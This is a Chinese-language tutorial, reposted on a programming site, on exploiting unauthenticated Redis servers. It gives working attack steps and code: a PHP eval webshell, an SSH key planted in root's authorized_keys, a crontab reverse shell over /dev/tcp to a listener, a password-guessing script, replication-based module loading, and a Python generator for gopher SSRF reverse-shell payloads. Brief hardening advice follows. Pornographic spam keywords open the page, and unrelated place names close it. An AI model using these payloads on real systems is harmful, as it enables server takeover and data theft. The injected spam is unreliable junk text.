最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

解析Redis未授權(quán)訪問漏洞復(fù)現(xiàn)與利用危害

 更新時間:2022年01月24日 11:01:44   作者:bmjoker  
這篇文章主要介紹了Redis未授權(quán)訪問漏洞復(fù)現(xiàn)與利用,介紹了redis未授權(quán)訪問漏洞的基本概念及漏洞的危害,本文給大家介紹的非常詳細,需要的朋友可以參考下

一、漏洞簡介以及危害:

1.什么是redis未授權(quán)訪問漏洞:

Redis 默認情況下,會綁定在 0.0.0.0:6379,如果沒有進行采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務(wù)暴露到公網(wǎng)上,如果在沒有設(shè)置密碼認證(一般為空)的情況下,會導(dǎo)致任意用戶在可以訪問目標(biāo)服務(wù)器的情況下未授權(quán)訪問 Redis 以及讀取 Redis 的數(shù)據(jù)。攻擊者在未授權(quán)訪問 Redis 的情況下,利用 Redis 自身的提供的config 命令,可以進行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標(biāo)服務(wù)器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以使用對應(yīng)私鑰直接使用ssh服務(wù)登錄目標(biāo)服務(wù)器。

簡單說,漏洞的產(chǎn)生條件有以下兩點:

(1)redis綁定在 0.0.0.0:6379,且沒有進行添加防火墻規(guī)則避免其他非信任來源ip訪問等相關(guān)安全策略,直接暴露在公網(wǎng);
(2)沒有設(shè)置密碼認證(一般為空),可以免密碼遠程登錄redis服務(wù)。 

2.漏洞的危害

(1)攻擊者無需認證訪問到內(nèi)部數(shù)據(jù),可能導(dǎo)致敏感信息泄露,黑客也可以惡意執(zhí)行flushall來清空所有數(shù)據(jù);
(2)攻擊者可通過EVAL執(zhí)行l(wèi)ua代碼,或通過數(shù)據(jù)備份功能往磁盤寫入后門文件;
(3)最嚴(yán)重的情況,如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務(wù)器

3.漏洞的影響

根據(jù) ZoomEye 的探測,全球無驗證可直接利用Redis 分布情況如下:

全球無驗證可直接利用Redis TOP 10國家與地區(qū):

二、漏洞復(fù)現(xiàn):

下載并安裝測試用的Redis,本次采用的是Ubuntu鏡像:

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

(如果下載不下來的話:http://distfiles.macports.org/redis/)

解壓安裝包:tar xzf redis-2.8.17.tar.gz進入redis目錄:cd redis-2.8.17安裝:make

make結(jié)束后,進入src目錄:cd src,
將redis-server和redis-cli拷貝到/usr/bin目錄下(這樣啟動redis-server和redis-cli就不用每次都進入安裝目錄了)

返回目錄redis-2.8.17,將redis.conf拷貝到/etc/目錄下:

使用/etc/目錄下的reids.conf文件中的配置啟動redis服務(wù):

服務(wù)啟動成功,我們克隆這臺虛擬機

一臺作為攻擊機,一臺作為靶機

攻擊機IP:192.168.0.105

靶機IP:192.168.0.104

啟動redis服務(wù)進程后,就可以使用測試攻擊機程序redis-cli和靶機的redis服務(wù)交互了。 比如:

三、未授權(quán)訪問漏洞測試

使用redis客戶端直接無賬號成功登錄redis:

從登錄的結(jié)果可以看出該redis服務(wù)對公網(wǎng)開放,且未啟用認證。

0x01 利用redis寫webshell

利用前提:

1.靶機redis鏈接未授權(quán),在攻擊機上能用redis-cli連上,如上圖,并未登陸驗證
2.開了web服務(wù)器,并且知道路徑(如利用phpinfo,或者錯誤爆路經(jīng)),還需要具有文件讀寫增刪改查權(quán)限
(我們可以將dir設(shè)置為一個目錄a,而dbfilename為文件名b,再執(zhí)行save或bgsave,則我們就可以寫入一個路徑為a/b的任意文件。)

這里由于本地搭建,我們已經(jīng)知道目錄,我們把shell寫入/home/bmjoker/目錄下:

注:

第三步寫入webshell的時候,可以使用:

set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"

\r\n\r\n代表換行的意思,用redis寫入的文件會自帶一些版本信息,如果不換行可能會導(dǎo)致無法執(zhí)行。

shell寫入完成,我們在靶機上來證明:

成功寫入shell。

當(dāng)數(shù)據(jù)庫過大時,redis寫shell的小技巧:

<?php 
set_time_limit(0);
$fp=fopen('bmjoker.php','w');
fwrite($fp,'<?php @eval($_POST[\"bmjoker\"]);?>');
exit();
?>

0x02 利用"公私鑰"認證獲取root權(quán)限

當(dāng)redis以root身份運行,可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄目標(biāo)服務(wù)器。

靶機中開啟redis服務(wù):redis-server /etc/redis.conf

在靶機中執(zhí)行 mkdir /root/.ssh 命令,創(chuàng)建ssh公鑰存放目錄(靶機是作為ssh服務(wù)器使用的)

在攻擊機中生成ssh公鑰和私鑰,密碼設(shè)置為空:

進入.ssh目錄:cd .ssh/,將生成的公鑰保存到1.txt:

鏈接靶機上的redis服務(wù),

將保存ssh的公鑰1.txt寫入redis(使用redis-cli -h ip命令連接靶機,將文件寫入):

遠程登錄靶機的redis服務(wù):redis-cli -h 192.168.0.104

并使用 CONFIG GET dir 命令得到redis備份的路徑:

更改redis備份路徑為ssh公鑰存放目錄(一般默認為/root/.ssh):

設(shè)置上傳公鑰的備份文件名字為authorized_keys:

檢查是否更改成功(查看有沒有authorized_keys文件),沒有問題就保存然后退出,

至此成功寫入ssh公鑰到靶機:

在攻擊機上使用ssh免密登錄靶機:ssh -i id_rsa root@192.168.0.104

利用私鑰成功登錄redis服務(wù)器!?。?/p>

0x03利用crontab反彈shell

在權(quán)限足夠的情況下,利用redis寫入文件到計劃任務(wù)目錄下執(zhí)行。

端口監(jiān)聽:

在攻擊者服務(wù)器上監(jiān)聽一個端口(未被占用的任意端口):

nc -lvnp 4444

攻擊詳情:

連接redis,寫入反彈shell

redis-cli -h 192.168.0.104
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"

config set dir /var/spool/cron
config set dbfilename root
save

過一分鐘左右就可以收到shell

四、Pyhton腳本自動化測試

可用來測試是否存在未授權(quán)或弱口令的情況:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未授權(quán)訪問"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    return u"存在弱口令,密碼:%s" % (pass_)
    except Exception, e:
        pass
if __name__ == '__main__':
    ip=sys.argv[1]
    port=sys.argv[2]
    print check(ip,port, timeout=10)

五、解決方案

1、比較安全的辦法是采用綁定IP的方式來進行控制。

請在redis.conf文件找到如下配置

# If you want you can bind a single interface, if the bind option is not
# specified all the interfaces will listen for incoming connections.
#
# bind 127.0.0.1

把 #bind 127.0.0.1前面的注釋#號去掉,然后把127.0.0.1改成你允許訪問你的redis服務(wù)器的ip地址,表示只允許該ip進行訪問,這種情況下,我們在啟動redis服務(wù)器的時候不能再用:redis-server,改為:redis-server path/redis.conf 即在啟動的時候指定需要加載的配置文件,其中path/是你上面修改的redis配置文件所在目錄,這個方法有一點不太好,我難免有多臺機器訪問一個redis服務(wù)。

2、設(shè)置密碼,以提供遠程登陸

打開redis.conf配置文件,找到requirepass,然后修改如下:

requirepass yourpassword
yourpassword就是redis驗證密碼,設(shè)置密碼以后發(fā)現(xiàn)可以登陸,但是無法執(zhí)行命令了。
  
命令如下:
redis-cli -h yourIp -p yourPort//啟動redis客戶端,并連接服務(wù)器
keys * //輸出服務(wù)器中的所有key
報錯如下
(error) ERR operation not permitted
  
這時候你可以用授權(quán)命令進行授權(quán),就不報錯了
  
命令如下:
auth youpassword

-------------------------

于2018.11.23進行補充

Redis配置錯誤導(dǎo)致的遠程代碼漏洞溯源

在刷墨者學(xué)院的題時,發(fā)現(xiàn)了這個不錯的題,通過這個題了解Redis在低權(quán)限下的滲透思路:

給出了IP:219.153.49.228 ,同時也給出了倆個端口一個是web也就是http端口 419387,一個是redis數(shù)據(jù)庫端口 48055

嘗試用kali鏈接redis端口:

redis-cli -h 219.153.49.228 -p 48055

連接成功,本想用上文的方法,生成ssh密鑰把內(nèi)容寫進redis數(shù)據(jù)庫,然后把redis數(shù)據(jù)庫的目錄指定到/etc/.ssh/,這樣就可以通過ssh直接連接服務(wù)器,但是這里權(quán)限不夠,不能指定到/etc/.ssh/目錄。

由于服務(wù)器是ubuntu的,apache容器,嘗試指定一下默認的路徑/var/www/html/來寫入shell:

一波寫入shell的操作,然后在web頁面嘗試訪問我們寫入shell的joker.php文件:

成功寫入,嘗試用菜刀鏈接,獲取flag:

出現(xiàn)這樣的問題還是權(quán)限控制的不足

-----------------------

于2019.10.9日補充

redis主從復(fù)制rce

  Redis是一個使用ANSI C編寫的開源、支持網(wǎng)絡(luò)、基于內(nèi)存、可選持久性的鍵值對存儲數(shù)據(jù)庫。但如果當(dāng)把數(shù)據(jù)存儲在單個Redis的實例中,當(dāng)讀寫體量比較大的時候,服務(wù)端就很難承受。為了應(yīng)對這種情況,Redis就提供了主從模式,主從模式就是指使用一個redis實例作為主機,其他實例都作為備份機,其中主機和從機數(shù)據(jù)相同,而從機只負責(zé)讀,主機只負責(zé)寫,通過讀寫分離可以大幅度減輕流量的壓力,算是一種通過犧牲空間來換取效率的緩解方式。

  在Redis 4.x之后,Redis新增了模塊功能,通過外部拓展,可以在redis中實現(xiàn)一個新的Redis命令,通過寫c語言并編譯出.so文件。編寫惡意so文件的代碼 https://github.com/RicterZ/RedisModules-ExecuteCommand

  在兩個Redis實例設(shè)置主從模式的時候,Redis的主機實例可以通過FULLRESYNC同步文件到從機上。然后在從機上加載so文件,我們就可以執(zhí)行拓展的新命令了。

網(wǎng)上收集兩個比較方便的getshell python腳本

1.https://github.com/n0b0dyCN/redis-rogue-server

漏洞利用:

2.https://github.com/Ridter/redis-rce

漏洞利用:

反彈到其他服務(wù)器:

---------------

于2021.01.02補充

ssrf,redis與gopher

補充篇只來討論如果通過ssrf探測到內(nèi)網(wǎng)某ip開啟了6379端口,并存在未授權(quán),如何結(jié)合gopher協(xié)議來寫shell。

  gopher是Internet上一個非常有名的信息查找系統(tǒng),它將Internet上的文件組織成某種索引,很方便地將用戶從Internet的一處帶到另一處。在WWW出現(xiàn)之前,gopher是Internet上最主要的信息檢索工具,gopher站點也是最主要的站點,使用tcp70端口。但在WWW出現(xiàn)后,gopher失去了昔日的輝煌?,F(xiàn)在它基本過時,人們很少再使用它;

gopher協(xié)議支持發(fā)出GET、POST請求:可以先截獲get請求包和post請求包,在構(gòu)成符合gopher協(xié)議的請求。gopher協(xié)議是ssrf利用中最強大的協(xié)議

gopher協(xié)議格式:

URL:gopher://<host>:<port>/<gopher-path>_后接TCP數(shù)據(jù)流
gopher的默認端口是70

如果發(fā)起post請求,回車換行需要使用%0d%0a,如果存在多個參數(shù),參數(shù)之間的&也需要進行URL編碼。注意%0d%0a是\r\n的URL編碼。

gopher發(fā)送請求HTTP GET請求:

curl gopher://192.168.194.1:6666/_abcd

注意:abcd是要傳遞的數(shù)據(jù),_會被吃掉不會傳遞過去

由于gopher協(xié)議規(guī)則比較復(fù)雜,這里借助一個github的工具來生成payload:https://github.com/firebroo/sec_tools

只需要在redis-over-gopher/redis.cmd中寫入redis執(zhí)行的命令,比如下面的命令直接在web目錄下寫shell

flushall
config set dir /tmp
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
save

編輯好后運行redis-over-gopher/redis-over-gopher.py

python redis-over-gopher.py

就可以生成支持gopher協(xié)議的payload:

使用curl運行payload

進入docker容器,發(fā)現(xiàn)shell.php已經(jīng)成功生成

注:需要將內(nèi)容再進行一次url編碼傳到web的參數(shù)中才會正常運行

使用ssrf端口探測的時候,不要拘泥于http協(xié)議,還可以使用dict協(xié)議來進行探測

利用gopher協(xié)議反彈shell

/*gopher協(xié)議反彈shell利用腳本*/
import urllib
protocol="gopher://"
ip="192.168.127.140"
port="6379"
reverse_ip="192.168.127.131"
reverse_port="7777"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""
cmd=["flushall",
   "set 1 {}".format(cron.replace(" ","${IFS}")),
   "config set dir {}".format(path),
   "config set dbfilename {}".format(filename),
   "save"
   ]
if passwd:
  cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
  CRLF="\r\n"
  redis_arr = arr.split(" ")
  cmd=""
  cmd+="*"+str(len(redis_arr))
  for x in redis_arr:
    cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
  cmd+=CRLF
  return cmd

if __name__=="__main__":
  for x in cmd:
    payload += urllib.quote(redis_format(x))
  print payload

redis如果有密碼,是弱口令的話,可以通過python腳本爆破,看回顯來確定密碼是否正確

如果有口令在最前面,和gopher的格式一樣,如下健為AUTH,密碼為123456

爆破的時候需要在尋常的未授權(quán)前加上認證的gopher字段

%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123456%0D%0A

爆破成功的化可以直接結(jié)合gopher協(xié)議對redis進行寫shell的操作。

這里結(jié)合上面的redis主從復(fù)制的RCE來執(zhí)行命令,先來構(gòu)造加載exp.so的payload

config set dir /tmp/
config set dbfilename /tmp/
slaveof 192.168.127.140 4444
module load /tmp/exp.so
system.exec 'whoami'
quit

這樣就可以加載本地的exp.so對redis進行爆破,如果爆破成功就執(zhí)行whoami命令。

這里只是一種演示,使用此方法同樣可以寫shell,寫計劃任務(wù)來獲取shell。

參考文章:

Redis 安裝 http://www.runoob.com/redis/redis-install.html

Redis未授權(quán)訪問漏洞 http://blog.csdn.net/Hu_wen/article/details/55189777?locationNum=15&fps=1

Redis 未授權(quán)訪問配合 SSH key 文件利用分析 http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

Redis未授權(quán)訪問漏洞利用姿勢http://www.jianshu.com/p/e550628ba1bc

https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=36100&highlight=redis

到此這篇關(guān)于Redis未授權(quán)訪問漏洞復(fù)現(xiàn)與利用的文章就介紹到這了,更多相關(guān)Redis未授權(quán)訪問漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • 基于session?Redis實現(xiàn)登錄

    基于session?Redis實現(xiàn)登錄

    這篇文章主要介紹了基于session?Redis實現(xiàn)登錄的相關(guān)資料,需要的朋友可以參考下
    2023-10-10
  • linux?redis-連接命令解讀

    linux?redis-連接命令解讀

    這篇文章主要介紹了linux?redis-連接命令解讀,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2023-06-06
  • 關(guān)于Redis單線程的正確理解

    關(guān)于Redis單線程的正確理解

    很多同學(xué)對Redis的單線程和I/O多路復(fù)用技術(shù)并不是很了解,所以我用簡單易懂的語言讓大家了解下Redis單線程和I/O多路復(fù)用技術(shù)的原理,對學(xué)好和運用好Redis打下基礎(chǔ),感興趣的朋友跟隨小編一起看看吧
    2021-11-11
  • Windows環(huán)境下打開Redis閃退的解決方案

    Windows環(huán)境下打開Redis閃退的解決方案

    每次使用完Redis后,我們習(xí)慣性的動作是直接叉掉doc頁面,這樣導(dǎo)致的結(jié)果是Redis在后臺繼續(xù)運行,沒有關(guān)閉,所以當(dāng)再次打開的時候直接閃退,文中有詳細的解決方案,需要的朋友可以參考下
    2024-03-03
  • Redis如何高效刪除大key

    Redis如何高效刪除大key

    這篇文章主要介紹了Redis如何高效刪除大key問題,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
    2024-04-04
  • Java Socket實現(xiàn)Redis客戶端的詳細說明

    Java Socket實現(xiàn)Redis客戶端的詳細說明

    socket編程是一門技術(shù),它主要是在網(wǎng)絡(luò)通信中經(jīng)常用到.這篇文章主要介紹了如何用Java Socket實現(xiàn)一個簡單的Redis客戶端,需要的朋友可以參考下
    2021-05-05
  • 深入解析Redis的LRU與LFU算法實現(xiàn)

    深入解析Redis的LRU與LFU算法實現(xiàn)

    這篇文章主要重點介紹了Redis的LRU與LFU算法實現(xiàn),并分析總結(jié)了兩種算法的實現(xiàn)效果以及存在的問題,并闡述其優(yōu)劣特性,感興趣的小伙伴跟著小編一起來看看吧
    2023-07-07
  • 高并發(fā)下Redis如何保持?jǐn)?shù)據(jù)一致性(避免讀后寫)

    高并發(fā)下Redis如何保持?jǐn)?shù)據(jù)一致性(避免讀后寫)

    本文主要介紹了高并發(fā)下Redis如何保持?jǐn)?shù)據(jù)一致性(避免讀后寫),文中通過示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2022-03-03
  • Redis消息隊列、阻塞隊列、延時隊列的實現(xiàn)

    Redis消息隊列、阻塞隊列、延時隊列的實現(xiàn)

    Redis是一種常用的內(nèi)存數(shù)據(jù)庫,它提供了豐富的功能,通常用于數(shù)據(jù)緩存和分布式隊列,本文主要介紹了Redis消息隊列、阻塞隊列、延時隊列的實現(xiàn),感興趣的可以了解一下
    2023-11-11
  • Redis SETNX命令在Spring Cloud中的分布式鎖用法詳解

    Redis SETNX命令在Spring Cloud中的分布式鎖用法詳解

    在Spring Cloud項目中,使用Java和Redis結(jié)合實現(xiàn)的分布式鎖可以確保訂單的一致性和并發(fā)控制,通過合理使用鎖的粒度以及注意事項,可以減少死鎖問題并提高系統(tǒng)的并發(fā)性能,這篇文章主要介紹了Redis SETNX命令在Spring Cloud中的分布式鎖用法詳解,需要的朋友可以參考下
    2023-10-10

最新評論

闽侯县| 昆山市| 芒康县| 河间市| 桐城市| 洪雅县| 闸北区| 大新县| 宜君县| 紫阳县| 鄂温| 确山县| 布拖县| 高尔夫| 于都县| 南城县| 明溪县| 天长市| 交城县| 图木舒克市| 保定市| 永川市| 大庆市| 柞水县| 甘南县| 临夏市| 鄢陵县| 新巴尔虎左旗| 日照市| 双江| 曲水县| 青田县| 甘洛县| 普定县| 类乌齐县| 普定县| 吉木乃县| 通江县| 温泉县| 仙游县| 灌南县|